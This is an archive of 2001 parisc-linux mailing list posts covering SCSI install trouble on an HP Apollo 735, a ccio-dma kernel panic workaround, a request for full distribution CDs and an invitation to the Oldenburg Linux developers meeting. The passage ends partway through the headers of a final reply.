> > scsi0: Revision 0x0
> > scsi0: test 1 completed ok.
> > scsi0 : LASI/Simple 53c7xx
> >   Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
> >   Type:   CD-ROM                             ANSI SCSI revision: 02
> >   Vendor: MICROP    Model: 2112              Rev: 4024
> >   Type:   Direct-Access                      ANSI SCSI revision: 02
> >   Vendor: SEAGATE   Model: ST31200N          Rev: 8714
> >   Type:   Direct-Access                      ANSI SCSI revision: 02
> > Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
> > Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
> > SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
> > Partition check:
> >  sda: unknown partition table
> > SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
> >  sdb: sdb1 sdb2 sdb3
> > Detected scsi CD-ROM sr0 at scsi0, channel 0, id 0, lun 0
> >
> > I have 2 disks which are connected to fast wide SCSI but they are not
> > recognized by the kernel.
> >
> > I am installing the system on /dev/sdb
> >
> > When i got the message , I have waited for more than 30 min .
> 
> Can you try adding   sim700=noneg:0xff,nodisc:0xff   to the boot params
> please.  Say 'yes' to the interact with IPL question if that machine
> gives you one, else perhaps append 'isl' to the bo command.  Then just
> modify one of the existing params to append that string.
> 
> Richard
> 
> > Boyan
> >
> > Richard Hirst wrote:
> > >
> > > On Sun, Sep 09, 2001 at 07:14:05PM +0200, Boyan Lazarov wrote:
> > > > Hi ,
> > > > I am trying to install linux on Apollo 735 . The system boots normally (
> > > > serial console, from cd image 0.9.2) . When i reach the point to install
> > > > the kernel  and the modules , the installer starts the installation and
> > > > gives message
> > > > ioctl: LOOP_CLR_FD: No such device or address
> > >
> > > The installer gives that message for everyone, but normally it
> > > immediately continues with the install.  What disks are you trying
> > > to install on to?  I don't believe the internal wide scsi disks
> > > are supported atm, but people have installed on to external narrow
> > > disks.
> > >
> > > Richard
> >




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 13:41:34 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20010910134134.V19441@linuxcare.com>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com> <3B9C73CF.412C929@mek.dtu.dk> <20010910103658.T19441@linuxcare.com> <3B9CAC65.E1096C44@mek.dtu.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620474 25481 80.91.229.3 (22 Nov 2014 01:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Boyan Lazarov <bsl@mek.dtu.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 06:41:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BE85489D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 06:41:24 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B4A95B00C; Mon, 10 Sep 2001 13:41:34 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B9CAC65.E1096C44@mek.dtu.dk>; from bsl@mek.dtu.dk on Mon, Sep 10, 2001 at 02:04:53PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12163

On Mon, Sep 10, 2001 at 02:04:53PM +0200, Boyan Lazarov wrote:
> The system just stop 
> The boot parameters are :
> 0: 0/vmlinux
>  1: root=/dev/ram
>  2: initrd=0/ramdisk
>  3: console=ttyS0
>  4: TERM=vt102
>  5: sim700=noneg:0xff,nodisc:0xff
>  6: isl
> 
> And the output is:
> SCSI subsystem driver Revision: 1.00 
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
>   Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
>   Type:   CD-ROM                             ANSI SCSI revision: 02
> scsi0: Unable to abort command for target 5
> scsi0: Unable to send Bus Device Reset for target 5
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 07875060 (script[0x1418]), dsps = 078751f0, target = 0
> scsi0: Failing command for ID5
>   Vendor: SEAGATE   Model: ST31200N          Rev: 8714
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
> 
> After this the system just stops

That's not good.  Can you try with just   sim700=nodisc:0xff
please.

Richard





From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boyan Lazarov <bsl@mek.dtu.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 14:55:32 +0200
Organization: DTU,MEK
Lines: 54
Approved: news@gmane.org
Message-ID: <3B9CB844.E657991F@mek.dtu.dk>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com> <3B9C73CF.412C929@mek.dtu.dk> <20010910103658.T19441@linuxcare.com> <3B9CAC65.E1096C44@mek.dtu.dk> <20010910134134.V19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=x-user-defined
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620474 25484 80.91.229.3 (22 Nov 2014 01:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 06:56:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from b101-144c-01.mek.dtu.dk (unknown [130.226.16.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2BBF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 06:56:44 -0600 (MDT)
Original-Received: from mek.dtu.dk (localhost.localdomain [127.0.0.1])
	by b101-144c-01.mek.dtu.dk (Postfix) with ESMTP
	id 0400F34342; Mon, 10 Sep 2001 14:55:33 +0200 (CEST)
Original-Sender: boco@b101-144c-01.mek.dtu.dk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12164

The same problem as before.
The cd-rom is on the scsi bus , can this be the problem.
At the beginning the kernel gives message for the devices and it
recognizes two scsi 
3. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71, 0x0,
0x04
9. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0,
0x0
but the second one is not configured.

Regards
Boyan

Richard Hirst wrote:
> 
> On Mon, Sep 10, 2001 at 02:04:53PM +0200, Boyan Lazarov wrote:
> > The system just stop
> > The boot parameters are :
> > 0: 0/vmlinux
> >  1: root=/dev/ram
> >  2: initrd=0/ramdisk
> >  3: console=ttyS0
> >  4: TERM=vt102
> >  5: sim700=noneg:0xff,nodisc:0xff
> >  6: isl
> >
> > And the output is:
> > SCSI subsystem driver Revision: 1.00
> > sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> > scsi0: Revision 0x0
> > scsi0: test 1 completed ok.
> > scsi0 : LASI/Simple 53c7xx
> >   Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
> >   Type:   CD-ROM                             ANSI SCSI revision: 02
> > scsi0: Unable to abort command for target 5
> > scsi0: Unable to send Bus Device Reset for target 5
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 07875060 (script[0x1418]), dsps = 078751f0, target = 0
> > scsi0: Failing command for ID5
> >   Vendor: SEAGATE   Model: ST31200N          Rev: 8714
> >   Type:   Direct-Access                      ANSI SCSI revision: 02
> > Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
> >
> > After this the system just stops
> 
> That's not good.  Can you try with just   sim700=nodisc:0xff
> please.
> 
> Richard




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 14:19:07 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010910141907.X19441@linuxcare.com>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com> <3B9C73CF.412C929@mek.dtu.dk> <20010910103658.T19441@linuxcare.com> <3B9CAC65.E1096C44@mek.dtu.dk> <20010910134134.V19441@linuxcare.com> <3B9CB844.E657991F@mek.dtu.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620474 25486 80.91.229.3 (22 Nov 2014 01:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Boyan Lazarov <bsl@mek.dtu.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 07:18:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED008482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 07:18:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 353F0B00C; Mon, 10 Sep 2001 14:19:07 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B9CB844.E657991F@mek.dtu.dk>; from bsl@mek.dtu.dk on Mon, Sep 10, 2001 at 02:55:32PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12165

On Mon, Sep 10, 2001 at 02:55:32PM +0200, Boyan Lazarov wrote:
> The cd-rom is on the scsi bus , can this be the problem.

It shouldn't be a problem, but you could try mounting the CD on
a server and then installing via nfs or http, so only one device is
active on the the scsi bus.

> At the beginning the kernel gives message for the devices and it
> recognizes two scsi 
> 3. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71, 0x0,
> 0x04

That is the one you are using.

> 9. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0,
> 0x0
> but the second one is not configured.

Right, it is not supported in the kernel atm.

Richard





From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ext3+parisc kernel
Date: Mon, 10 Sep 2001 16:39:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010910163934.D8056@redhat.com>
References: <20010908174914.O29708@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620475 25487 80.91.229.3 (22 Nov 2014 01:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:15 +0000 (UTC)
Cc: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>,
	Ext3 Users ml <Ext3-users@redhat.com>
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 09:39:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (pc-62-31-66-30-ed.blueyonder.co.uk [62.31.66.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68A6A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 09:39:48 -0600 (MDT)
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.11.6/8.11.2) id f8AFdYa09597;
	Mon, 10 Sep 2001 16:39:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010908174914.O29708@gwyn.tux.org>; from timball@tux.org on Sat, Sep 08, 2001 at 05:49:14PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12166

Hi,

On Sat, Sep 08, 2001 at 05:49:14PM -0400, Timothy Ball wrote:

> I got ext3 from the cvs, and the parisc 2.4.9-pa17 kernel and I've
> patched the parisc kernel w/ the add-to-kernel.sh script. after a bit of
> fighting I got the kernel to compile. ...
> 
> Now when I boot. /proc is not mounted at boot, and when I mount it all
> the files in /proc appear to be directories.

Odd --- did you do a make clean before rebuilding?

--Stephen




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BLESSING,MICHAEL (HP-FtCollins,ex1)" <mblessing@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting a CD?
Date: Tue, 11 Sep 2001 11:25:17 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <E97137CF9A25D311902E00A0C9F484E004BA01ED@xfc03.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620475 25491 80.91.229.3 (22 Nov 2014 01:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:15 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 11 12:25:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4DF9482A
	for <parisc-linux@parisc-linux.org>; Tue, 11 Sep 2001 12:25:21 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (unknown [15.58.136.173])
	by palrel2.hp.com (Postfix) with ESMTP id A93D479C
	for <parisc-linux@parisc-linux.org>; Tue, 11 Sep 2001 11:25:20 -0700 (PDT)
Original-Received: from xpabh2.corp.hp.com (xpabh2.corp.hp.com [15.58.136.192])
	by xparelay1.corp.hp.com (Postfix) with ESMTP id 485C51F560
	for <parisc-linux@parisc-linux.org>; Tue, 11 Sep 2001 11:25:20 -0700 (PDT)
Original-Received: by xpabh2.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <SC5CY30Q>; Tue, 11 Sep 2001 11:25:20 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12167

Hi,

The following e-mail was sent into the HP Developer's Resource web site (
http://devresource.hp.com ).  They are having an installation problem and
have a question about getting a CD.  Can you help them out?

Thanks,
Mike Blessing
HP Developer's Resource



-----Original Message-----
From: stefan.bieri@garaventa.com [mailto:stefan.bieri@garaventa.com]
Sent: Tuesday, September 11, 2001 5:15 AM
To: webmasterdevrsrc@shelty.fc.hp.com
Subject: DevResource Feedback: Tuesday, 11-Sep-2001 05:14:22 MDT


Below is the result of your feedback form.  It was submitted by:
     (stefan.bieri@garaventa.com)
    on Tuesday, September 11, 2001 at 05:15:22
---------------------------------------------------------------------------

Referring_Page:
http://www.devresource.hp.com/devresource/Topics/Linux/PALinuxRelease.html

topic: Other

YourName: Bieri Stefan

Comments: Hi

We tried to install PARISC-Linux on a HP Workstation 715/100 with XFree86,
X-Server-System etc. The problems we have, is, that we download the packages
on a Win2k pc and everytime we try to install the X-Window-System, we have
some problems with the dependency and we have to download also this packages
(those who are needed, because of the dependency), and then when we try to
install again, we have another dependency problems, etc. and that
continues...

The question we have, is it possible to download (other cd-images than the
installation cd) or buy a full distribution of the PARISC-Linux?

---------------------------------------------------------------------------




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma error
Date: Wed, 12 Sep 2001 07:03:37 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20010912070337.A21888@beavis.ybsoft.com>
References: <20010910012502.A30056@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620475 25495 80.91.229.3 (22 Nov 2014 01:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randall Craig <randall@tdl.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 07:03:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23DF74843
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 07:03:41 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 52929BCE8; Wed, 12 Sep 2001 07:03:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20010910012502.A30056@tdl.com>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12168

On Mon, Sep 10, 2001 at 01:25:02AM -0700, Randall Craig wrote:
> My computer frequently crashes with the error message:
> 
>  Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resource

This error occurs when the ccio driver can not find adequate space in the resource
map to complete the dma mapping.  Since you are seeing it frequently, try changing
the following line in arch/parisc/kernel/ccio-dma.c to see if that helps:

From:
	static unsigned long ccio_mem_ratio = 32;
To:
	static unsigned long ccio_mem_ratio = 4;

You can also look at the the 2 /proc file entries to get an idea what is going
on: 

	/proc/bus/runway/ccio
	/proc/bus/runway/ccio-bitmap

The /proc/bus/runway/ccio should give you general information about the hardware
and driver.  The /proc/bus/runway/ccio-bitmap should give you an idea of how dense
the resource bitmap is.

Hopefully this will help you out.

- Ryan


> 
> This is with kernel pa17.
> 
> 
> This occurs during medium to heavy io. 
> 
> 
> 
> This has also caused my /var/lib/dbkg directory to be missing.
> 
> How can I rebuild it?
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.infodrom.north.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Invitation to the 6th Linux Developers Meeting in Oldenburg
Date: Wed, 12 Sep 2001 17:49:19 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <20010912174919.Q5720@finlandia.infodrom.north.de>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="dgjlcl3Tl+kb3YDk"
X-Trace: ger.gmane.org 1416620476 25498 80.91.229.3 (22 Nov 2014 01:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, linux-mips@oss.sgi.com,
	linux-mips@fnet.fr, linux-mips@vger.kernel.org,
	linux-m68k@phil.uni-sb.de, linux-alpha@vger.kernel.org,
	sparclinux@vger.kernel.org, ultralinux@vger.kernel.org,
	linux-mca@vger.kernel.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 09:49:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.infodrom.north.de [217.89.86.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27A114831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 09:49:50 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [217.89.86.34])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id E84E54D755; Wed, 12 Sep 2001 17:49:21 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 501)
	id C4BB0100D7; Wed, 12 Sep 2001 17:49:19 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12169

--dgjlcl3Tl+kb3YDk
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline


              -----------------------------------------
	      6th Linux Developers Meeting in Oldenburg


	       Thursday, September 27th to Sunday, 30th


		   University of Oldenburg, Wechloy
              -----------------------------------------


This is the public invitation for Linux developers to attend this
years' Linux Developers Meeting in Oldenburg.  The scope of this
meeting is to port Linux to non-intel architectures. It is derived
from the linux/m68k meeting 1995 in Solingen , though, recently there
were a lot of other architectures as well.

Just like the last years, the purpose of this meeting is to get as
much of the Linux/m68k core developers and active users together to
discuss current problems, show off projects, exchange news, and
generally to have fun.

Like last year, the meeting will take place from thursday afternoon
(September 27th) to sunday evening (September 30th).  You don't have
to attend from thursday, it's an offer for those of you who would like
to and who can afford coming early.  If you can't make it that early,
just join when you can afford it.  The meeting will take place at the
same place like last year (that is University of Oldenburg, Wechloy).

For those of you, who don't know Oldenburg yet, it's in the northern
part of Germany.  That means, you'll find lots of green areas (trees,
meadows etc.), good air and less industries.  The meeting will be held
at the science building of the University of Oldenburg, in Oldenburg
Wechloy.

If you would like to attend the meeting, please send back this form,
so I can calculate space, power, food and stuff.  Space, power and
connectivity will thankfully be sponsored by the University, food and
stuff will be sponsored by ffis e.V., except dinner in restaurants.
We will be able to use showers inside of the sport building.

You'll need to take with you these things: machines, monitors,
technical documentation (very important), enough triple plugs for your
machines, some network cabling, some hubs/switches, sleeping bag, air
mattress, towel, shower stuff, plate, cutlery, coffee mug.

Comprehensive Information are on the web:
http://oldenburger.linuxtage.de/Oldenburg2001/


Regards,

        Joey

---------- 8< ---------- 8< ---------- 8< ---------- 8< ----------

Linux Developer's Meeting in Oldenburg 2001 - Sept 27th - 30th

Name  :
E-Mail:

I'd like to attend on these days:

    [ ] Thursday, September 27th
    [ ] Friday, September 28th
    [ ] Saturday, September 29th
    [ ] Sunday, September 30th

    Dinner will be from 7pm - 9pm or something.  If you plan to arrive
    within this period, make sure you know how to reach me mobile.

Number of machines ...........:
Number of monitors ...........:

Name may be placed on web page: ( ) yes
                                ( ) no

---------- 8< ---------- 8< ---------- 8< ---------- 8< ----------

--dgjlcl3Tl+kb3YDk
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7n4P/W5ql+IAeqTIRAv7+AJ9SHUH5c8PqV9YIE8beUzlUStZj/gCcCRpK
EjM0a/Wm5UnnwhVNlq6PWdo=
=Oqd1
-----END PGP SIGNATURE-----

--dgjlcl3Tl+kb3YDk--




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a CD?
Date: Wed, 12 Sep 2001 19:10:50 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20010912191050.F2618@parcelfarce.linux.theplanet.co.uk>
References: <E97137CF9A25D311902E00A0C9F484E004BA01ED@xfc03.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620476 25500 80.91.229.3 (22 Nov 2014 01:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:16 +0000 (UTC)
Cc: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
To: "BLESSING,MICHAEL (HP-FtCollins,ex1)" <mblessing@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 12:10:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6A17483E
	for <parisc-linux@parisc-linux.org>; Wed, 12 Sep 2001 12:10:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hETK-0000Z5-00; Wed, 12 Sep 2001 19:10:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E97137CF9A25D311902E00A0C9F484E004BA01ED@xfc03.fc.hp.com>; from mblessing@hp.com on Tue, Sep 11, 2001 at 11:25:17AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12170

We haven't attempted to make a full CD available.  Partly this is because
it'd be a lot of effort to add all the packages that people might want,
and the result would be huge (an estimated 4-5 CDs currently).  Another
reason is that the packages are constantly being updated right now, and
any CD we produced would be out of date the following day.  We decided
to only produce an install CD and let people upgrade that themselves.

hppa will be one of the architectures released with Woody, so Debian
will produce CD images then.  Woody is scheduled to release in December.

On Tue, Sep 11, 2001 at 11:25:17AM -0700, BLESSING,MICHAEL (HP-FtCollins,ex1) wrote:
> Hi,
> 
> The following e-mail was sent into the HP Developer's Resource web site (
> http://devresource.hp.com ).  They are having an installation problem and
> have a question about getting a CD.  Can you help them out?
> 
> Thanks,
> Mike Blessing
> HP Developer's Resource
> 
> 
> 
> -----Original Message-----
> From: stefan.bieri@garaventa.com [mailto:stefan.bieri@garaventa.com]
> Sent: Tuesday, September 11, 2001 5:15 AM
> To: webmasterdevrsrc@shelty.fc.hp.com
> Subject: DevResource Feedback: Tuesday, 11-Sep-2001 05:14:22 MDT
> 
> 
> Below is the result of your feedback form.  It was submitted by:
>      (stefan.bieri@garaventa.com)
>     on Tuesday, September 11, 2001 at 05:15:22
> ---------------------------------------------------------------------------
> 
> Referring_Page:
> http://www.devresource.hp.com/devresource/Topics/Linux/PALinuxRelease.html
> 
> topic: Other
> 
> YourName: Bieri Stefan
> 
> Comments: Hi
> 
> We tried to install PARISC-Linux on a HP Workstation 715/100 with XFree86,
> X-Server-System etc. The problems we have, is, that we download the packages
> on a Win2k pc and everytime we try to install the X-Window-System, we have
> some problems with the dependency and we have to download also this packages
> (those who are needed, because of the dependency), and then when we try to
> install again, we have another dependency problems, etc. and that
> continues...
> 
> The question we have, is it possible to download (other cd-images than the
> installation cd) or buy a full distribution of the PARISC-Linux?
> 
> ---------------------------------------------------------------------------
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a CD?
Date: Wed, 12 Sep 2001 20:20:17 +0100 (BST)
Lines: 6
Approved: news@gmane.org
Message-ID: <E15hFYX-00057S-00@the-village.bc.nu>
References: <20010912191050.F2618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
